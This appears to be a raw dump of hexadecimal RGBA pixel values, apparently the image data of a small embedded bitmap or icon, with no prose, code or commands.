C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFC0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFF6F84C1FF8BACFFFF89A8FFFF89A9\n      FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9\n      FFFF89A9FFFF8AA8FFFF8DACFFFF7581A3FF60282AFF731010FF701011FF7110\n      12FF711112FF711112FF711112FF711112FF711112FF711112FF711112FF7111\n      12FF711011FF700F10FF730F10FF6A4E4EFFB6B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE39B2CFF242EFFFF845472FFFFF1CDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFFB2AB8EFFF6EDBAFFF1E8B8FFF2E8\n      B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8\n      B7FFF2E8B7FFF1E8B8FFF8EFBBFF9B9785FF5F71B8FF6581F3FF6681F0FF6582\n      F0FF6781F0FF6783F0FF6783F0FF6682F0FF6683F0FF6783F0FF6783F0FF6781\n      F0FF6682F0FF6481F0FF6582F6FF6B75A0FF602828FF6D0F10FF6D1110FF6E12\n      11FF6E1213FF6E1213FF6E1213FF6E1213FF6E1213FF6B0908FF6B0708FF6B06\n      05FF6D0806FF6D0906FF6E090AFF6D4D4DFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFDC9428FF232CFFFF80516DFFFBE8C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FFA69D7BFFD6C694FFD3C594FFD4C5\n      95FFD4C595FFD4C595FFD4C595FFD4C595FFD4C595FFD4C595FFD4C595FFD4C5\n      95FFD4C593FFD3C494FFD8C896FF96907BFF4D5BB1FF4C63EDFF4D63E9FF4E64\n      EBFF4E64EAFF4D64EBFF445EF8FF4560F5FF455EF7FF445EF7FF4D64EBFF4E64\n      EAFF4E64EBFF4D63E9FF4D63F0FF616A9BFF5F2525FF6C0D0EFF6D1010FF6E0F\n      11FF6E1110FF6E1110FF6E1110FF6E1112FF6B0808FF866F83FF8C7985FF9493\n      A5FF70718FFF5C597DFF804853FF6A4848FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFDC9427FF222BFFFF80506CFFFAE7C4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF998D6AFFC6B37BFFC4B17BFFC5B1\n      7CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B2\n      7BFFC3AD73FFC9B672FFC8B275FF8D8572FF3F49ABFF3848E7FF3A49E4FF3A4A\n      E4FF3A4BE5FF324EF0FFB6934FFFEAB811FFF0B50BFFAE8F58FF2F4CF2FF3A4B\n      E5FF3A4AE4FF3949E4FF3749EAFF595F96FF5F2525FF6B0B0AFF6C0E0EFF6D0F\n      0EFF6C1010FF6C0F0FFF6C0F0FFF6C0F0FFF670302FFB2A7B3FF8D90A3FFBBC0\n      D6FFBFAFB1FF99AECAFF66435FFF6A4747FFBBBEC2FFFFFFFFFFFFFFFFFFFFFF\n      FFFFDB9529FF2128FFFF7C4D6AFFFCEDCEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA1A2FF8F805DFFBBA268FFB7A268FFB9A1\n      68FFB8A269FFB8A269FFB8A269FFB8A269FFB8A269FFB8A269FFB8A268FFBAA0\n      67FFE1DACEFF5032E2FFC7C7A8FF867B64FF2FAEB8FF1BF0FFFF1EECFAFF1FEC\n      FAFF14EFFFFFAAC34DFFC2B430FFA9B84FFFADB749FFC9B325FF9EC85EFF15EF\n      FFFF1FECFAFF1DECFAFF1BF1FFFF4F979CFF5F2424FF6C0909FF6B0D0DFF6D0D\n      0DFF6C0D0DFF6D0F0FFF6E1010FF6E1010FF6B0B0BFF7A2629FFC4B7A1FF9095\n      A7FF8B9ABAFFA7A6ABFF690000FF6A4949FFAD8D56FFEEB85FFFEAB65EFFECBA\n      66FFE28C00FF212AFFFF87566AFFEEAE42FFEAB862FFEAB760FFEAB760FFEAB6\n      60FFEAB65FFFEAB65EFFF2BB5EFF968466FF8C7B58FFB69C60FFB29B5FFFB49C\n      61FFB49C62FFB59C63FFB59B62FFB59B62FFB59B62FFB59B62FFB4975DFFC3DE\n      9DFFFFFFFDFF572CD8FF5FFFFFFF8B8F87FF31A5B6FF22E2FDFF21DEF9FF20DF\n      F9FF15E1FFFFECA400FFC5B02FFF8DC073FF83C281FFCAAE27FFE7A604FF11E2\n      FFFF22DFF9FF20DFF9FF1DE4FFFF50929BFF5F2120FF6F0C0BFF6A0B0BFF6401\n      01FF6B0701FF711009FF6D0F0FFF6E1010FF69080AFFA15B4EFFC1A670FF5D9A\n      B9FF72A5AEFFEDAE55FF812B2FFF694747FF453F9CFF4638D2FF4236CEFF4235\n      CEFF483DD3FF3333F6FF3E3AE4FF4638CFFF4437CEFF4437CEFF4437CEFF4437\n      CEFF4336CEFF4135CFFF4133D3FF5B588DFF8D7C55FFBDA661FFB69F63FFB6A2\n      67FFB49C60FFB19455FFBAA15DFFB79E62FFB69D63FFB69D64FFBFA657FF3E16\n      E7FF3F1AD8FF3613D3FF4D19DFFF5B4E8FFF32A6B6FF25E4FDFF28E0F9FF28E0\n      F9FF14E2FFFFECA400FF8EBF72FF95BE6AFF95BE69FF8EBF72FFE8A502FF12E3\n      FFFF22DFF9FF20DFF9FF1DE4FFFF50939BFF867896FF660000FF7B1710FFD2AF\n      A4FFAFC2FFFF7564C0FF6C0802FF6E1010FF68070AFFAD654BFFB1B392FF5F7B\n      64FF4C6E4CFFC5C79EFF8B322BFF694747FF524389FF5C44B4FF5C44B2FF5943\n      B1FF5C45B5FF3031F9FF493DD5FF5941B0FF563EB0FF563EB0FF563EB1FF563F\n      AFFF553DAFFF543BB0FF553BB4FF625A82FF8372A5FF4B2EFAFFAD6639FF7715\n      00FFAB6847FFD9CBE4FF9D91FFFFA48674FFB79E61FFB69D64FFB5975AFFB8E2\n      B5FFBDE0ABFF5830E4FFC2F5A4FF989E8DFF31ABBFFF26ECFFFF28E8FFFF2AE8\n      FFFF1FEBFFFF9FC671FFE0AE15FFB2B647FFACB64CFFE4AA0EFF8DC580FF13E8\n      FFFF1EE5FFFF1BE5FFFF1AEBFFFF4F96A2FF8C7B91FFD5A795FFB3BEFFFF7262\n      C2FF8D3738FF740500FF6F1111FF6C0E0EFF68080CFF9D4E26FFCA9240FFD7CC\n      C5FFD2C2B3FFCE8F33FF872E25FF694748FFB1986BFFF5CC84FFF1C982FFF3CE\n      8CFFE5970CFF2B34FFFF8A586BFFF1B95BFFF0C684FFF0C481FFF0C481FFF0C4\n      81FFF0C580FFEFC57DFFF6C982FF998A70FF8A7BA3FF5637E9FFDBB381FFE2D5\n      E0FFAA9FFDFF8C577CFF913500FFA97B42FFB69E64FFB59C62FFBA9B58FF6D94\n      CDFF6891CCFF3E34DDFF576DA3FF647483FF4E5F20FF587300FF587200FF5A74\n      00FF5A7301FF4F770EFFAE9E14FFE4B61BFFE6B315FFA79B13FF4A720BFF5670\n      00FF567000FF587000FF5A7500FF5F6947FF4E50A8FF696EF0FF6A6AE5FF7073\n      E7FF7078F5FF736CD7FF7B0F07FF7A1717FF740F12FFA95933FFDFDACBFFE9EA\n      E5FFE9E6DEFFD8A645FF93352EFF6A4848FFBBBEBFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFE09E2FFF3239FFFF8A5C70FFFDEECFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA1A2FF5E4CA8FF4B24DBFF927DF0FF8C74\n      EAFF9178E8FF937CF1FF907CFFFFB19E98FFBDA66DFFBBA46EFFC3AA62FF4848\n      EFFF1382F0FF275FEBFF1C77FBFF555093FF4C6625FF578310FF588113FF5982\n      15FF598216FF588117FF517D17FF4D7B16FF4C7B17FF517D17FF598217FF5982\n      16FF598215FF578113FF59840FFF5F6D49FF4C4EA8FF6D72F0FF696AE5FF6667\n      E7FF6A73F6FF706AD6FF800F07FF7D1717FF7A1114FFA15138FFCFA070FFC277\n      26FFC17827FFC88632FF902F2CFF6A4748FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE09E2DFF323BFFFF8C5F70FFFBE9C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF604DA7FF4F27DDFF9583F2FF937D\n      EBFF9178E7FF9078EFFF9280FFFFB39F98FFBFA96FFFBEA873FFBEA873FFC5AC\n      69FFC9A967FFC9AA67FFCEAD68FF887D64FF4C6623FF59840BFF57820EFF5882\n      10FF588211FF588311FF588311FF588311FF588311FF588311FF588311FF5882\n      11FF588210FF57820EFF5A860AFF5D6D47FF908190FF7A4685FF949EFFFFE0CF\n      D5FFAA4F3BFF770000FF7B1010FF7B1111FF7B1111FF780B0EFF750509FF7507\n      0EFF75060DFF74040BFF7C0707FF6A4747FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE29F29FF333AFFFF8C5F6CFFFCEAC7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF8C7BA3FF5D3AECFFC89B76FF9978\n      CBFFC7BEFFFFDCB890FF963A00FFB2884DFFC0AC75FFBFA973FFBFA973FFBFA9\n      73FFBFA971FFBEA970FFC4AE74FF837B66FF546C30FF709433FF6D9031FF6C92\n      33FF6C9233FF6E9233FF6D9233FF6D9233FF6D9233FF6D9233FF6E9233FF6C92\n      33FF6C9233FF6B9131FF6E9432FF6A7A55FF8E8098FF8B1F16FF9B4337FF7755\n      9EFFACB9FFFFCBB4C5FF892826FF8E3333FF8E3333FF8E3333FF8E3333FF8E33\n      33FF8E3333FF8D3131FF8F3232FF765555FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF\n      FFFFE5AC47FF4B51FFFF9A7183FFFEEED0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF9184A9FF7359F4FFBE8656FF9C4D\n      18FFAB7267FFA589D3FFC9C4FFFFD0BC94FFC6B383FFC7B385FFC7B385FFC7B3\n      85FFC7B484FFC6B285FFCAB686FF928974FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFF813A2AFFAF2F10FFAC3010FFAC31\n      11FFAB3111FFAB3111FFAB3111FFAB3111FFAB3111FFAB3111FFAB3111FFAB31\n      11FFAC3111FFAD2F10FFB13010FF7D574EFF785855FF182AFFFF2731F0FF2832\n      EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832\n      EEFF2832EEFF2730EFFF2831F7FF555793FFA888AEFFF0BED9FFF9CCB4FFFFDE\n      92FFFFE585FFFFE38AFFFFE18DFFFFDF90FFFFDE91FFFFDE91FFFFDE91FFFFDE\n      91FFFFDE90FFFFDF91FFFFE594FFA39375FFB6B7B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF843A28FFA72D10FFA52E11FFA62F\n      12FFA62E11FFA63013FFA63013FFA63013FFA63013FFA63013FFA63013FFA62E\n      11FFA62F12FFA52E11FFA82D10FF7E564DFFA56C20FFAA6846FF1327FBFF272F\n      E6FF292FE5FF2931E5FF2931E5FF2931E5FF2931E5FF2931E5FF2931E5FF292F\n      E5FF2830E5FF272FE5FF252EECFF545696FF8663B7FF9E68F7FF9C67F6FF9A66\n      FAFFA470E7FFBB84C2FFD2A09EFFEFBA75FFF9C366FFF6C06BFFF3BD6EFFF0BB\n      72FFEFBA74FFEFBA73FFF5BD73FFA08C6FFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF823726FFA62A0CFFA32A0EFFA42C\n      0FFFA42C0FFFA42D10FFA42D10FFA42D10FFA42D10FFA42D10FFA42D10FFA42C\n      0FFFA42C0FFFA32A0EFFA72A0BFF7D544AFF9D6626FFDF8000FFA66746FF1325\n      FCFF252DE5FF262FE5FF262FE5FF262FE5FF262FE5FF262FE5FF262FE5FF262E\n      E5FF262EE5FF242CE3FF222BEAFF515496FF6546B1FF7140F0FF7040ECFF7339\n      EBFF723EEEFF6A87FAFF6F31F4FF6B32F8FF7A48E4FF9C65BAFFBF8590FFE5A5\n      62FFF5B150FFEFAC56FFF2AC59FF9B8367FFBBBBBBFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF7D3120FFA12001FF9F2103FF9F22\n      06FFA02307FFA02307FFA32507FFA7290DFFA8290DFFA12407FFA02307FFA023\n      05FF9F2206FF9F2003FFA31F00FF7B5147FF9C6625FFD3780AFFDB7D00FFA565\n      44FF1123F5FF151FDEFF151FDDFF151FDDFF1822E0FF1923E1FF1620DEFF151F\n      DDFF141EDDFF131BDDFF101AE6FF4C5093FF4C2FAFFF4B1AEEFF4D18EAFF477A\n      F4FF477DF6FF467CF6FF477CF5FF4588F6FF4D15ECFF4B1CEFFF481AF3FF4314\n      F8FF5725E2FF8447B2FFB46D85FF927864FFBEBEBEFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FFBEC6C8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFF0FFFFFFB6CDC1FFB0D4C8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A5A5FF9C6625FFD37809FFD1770DFFD477\n      00FFECAB4DFFFBFBFBFFFBFBFBFFFBFBF7FFE3E2D1FFE2E0CEFFFBFBEAFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA5A59EFF4325ADFF3D05EEFF3758F2FF339F\n      F8FF3D30EDFF32A9FAFF3C3CEFFF33A0FAFF3867F3FF4009E9FF4011EBFF3F10\n      EBFF3D0DECFF370AF0FF3404FBFF56479BFF202020FF000000FF000000FF0000\n      00FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF0000\n      00FF000000FF000000FF000000FF474747FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF96ACA1FF6EA38DFF758B6BFFBAD5D0FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF9C6624FFD47C0CFFD0780DFFD078\n      0EFFCE7101FFD99642FFFFFFFFFFF5F5F6FFDCDADBFF9B9CAFFFEEEEECFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4528ADFF4404EDFF34A5FAFF3D30\n      EDFF3C54F2FF3687F6FF3F27ECFF3F30EDFF33B4FCFF4105E9FF4213EBFF4012\n      EBFF4111EBFF3F10EBFF3E0DF1FF5B4A96FF242424FF0C0C0CFF0D0D0DFF0E0E\n      0EFF101010FF101010FF101010FF101010FF101010FF101010FF101010FF0F0F\n      0FFF0E0E0EFF0C0C0CFF090909FF494949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFAEC4BEFFAEB3C2FFB9A9A8FFBCDFE0FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF9D6725FFD5810EFFD38111FFD17D\n      11FFCE6F00FFDFA459FFFFFFFFFFFFFFFFFFB6C4B1FF469047FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4526AEFF4607EFFF3C9AF9FF4610\n      EAFF3C4BF0FF349CF9FF3F2AECFF4113EAFF33ACFAFF4306E9FF4213EBFF4012\n      EBFF4111EBFF3F10EBFF3E0DF1FF5B4A96FF252525FF0E0E0EFF111111FF1010\n      10FF0E0E0EFF0F0F0FFF0F0F0FFF0F0F0FFF0F1010FF0F1010FF101010FF0E0E\n      0FFF0E0E0EFF0B0C0CFF080809FF494949FFBEC3C5FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFF9FFFFFFDAFDFFFFF4FFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A3A4FF9D6925FFD7840FFFD58412FFDB7C\n      09FFEAAD6AFFFBFBFBFFFBFBFBFFFBFBFBFFC3E2F0FFD3E5F6FFECF3FAFFFBFB\n      FBFFFBFBFBFFFBFBFBFFFFFFFFFFA29FA0FF4528AEFF4B0DF0FF4467F3FF437D\n      F6FF4D24EDFF3E90F8FF422EEEFF386CF4FF3683F6FF4108E9FF4012EAFF3F10\n      EBFF3F0CEEFF3D07F3FF3F02FFFF5B479EFF202021FF00050AFF02070DFF040A\n      0FFF060B10FF030A0EFF01070BFF00050AFF000409FF000409FF000409FF0005\n      08FF000307FF000106FF000003FF474748FF7D2C20FFA52200FFA32400FFA425\n      00FFA42600FFA42600FFA62600FFA82802FFA52500FFA32300FFA12100FFA121\n      00FFA22100FFA22200FFA82200FF7A4D47FF9E6A26FFD88810FFE4830DFF9792\n      2CFF00AA56FF01A045FF01A045FF02A045FF05A245FF04A044FF019D41FF009D\n      41FF009D41FF009E41FF00A244FF477858FF4728AEFF4D15F1FF4F14EBFF4873\n      F4FF42A9FAFF4870F4FF44A3F8FF4978F6FF4E17F0FF4E11F4FF4C0FF9FF4D09\n      FFFF4B2ED1FF475E96FF469459FF58854DFFA3724CFFE09355FFDE9357FFDF92\n      57FFDE9257FFDF9359FFDF9459FFDF9459FFDE9157FFDD9055FFDD8F54FFDD8F\n      53FFDD9055FFDD9155FFE49657FF91735FFF833A25FFB03810FFAE3A13FFAF3B\n      15FFAF3C16FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C17FFAF3C\n      16FFAF3B15FFAE3913FFB2390FFF7E5449FF9E6B25FFE8870BFF96932BFF00AD\n      5EFF15AB58FF17AB58FF17AB58FF17AB58FF17AB58FF17AB58FF17AB58FF16AB\n      58FF15AB58FF13AA57FF0FAE58FF497C5FFF4828AEFF5015F2FF5118EEFF5211\n      EDFF5122F2FF5229F8FF521EFBFF5504FEFF5031D3FF4D6298FF4A935EFF45C2\n      24FF45C81BFF45C21FFF44C322FF58834FFF996B4AFFD28C52FFCE8B54FFCE8B\n      55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B55FFCE8B\n      55FFCE8B55FFCE8A53FFD48D54FF8B705DFF853923FFB1380BFFAF380EFFB03A\n      10FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A\n      11FFB03910FFAF380EFFB3380AFF7D5447FFA8671FFF969725FF00AF5FFF0FAC\n      57FF11AC58FF11AC58FF11AC58FF11AC58FF11AC58FF11AC58FF11AC58FF11AC\n      58FF10AC57FF0EAB56FF0AAF59FF477B5DFF4724B0FF510BFAFF510BFAFF530A\n      FFFF502FD1FF4C5E96FF49915AFF46C321FF45C91AFF46C420FF46BF25FF46BB\n      28FF45BB2AFF43BB27FF44C026FF57824EFF996B49FFD38D53FFCF8B53FFCF8B\n      54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C54FFCF8C\n      54FFCF8B54FFCF8B52FFD68E55FF8A6F5CFF8A4230FFBC5433FFB95231FFB853\n      33FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB853\n      33FFB85333FFB95231FFBC5232FF8B6055FF76773CFF20BC76FF31B46BFF33B6\n      6BFF33B56CFF33B56CFF33B56CFF33B56CFF33B56CFF33B56CFF33B56CFF33B5\n      6CFF33B66BFF31B46CFF32B86EFF558A69FF4E41A1FF637D9FFF5F9B76FF5CCC\n      3CFF5BD236FF5BCD3CFF5CC941FF5CC545FF5CC446FF5CC446FF5CC446FF5CC4\n      47FF5CC345FF5BC346FF5DC747FF64915BFF9E7150FFD99C6BFFD69A68FFD69A\n      69FFD69969FFD69969FFD69969FFD69969FFD69969FFD69969FFD69969FFD699\n      69FFD69A69FFD69A68FFDA9C6BFF987C68FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBEFFBEBEBEFFBEBEBEFFBFBFBFFFBFBFBFFFC0C0\n      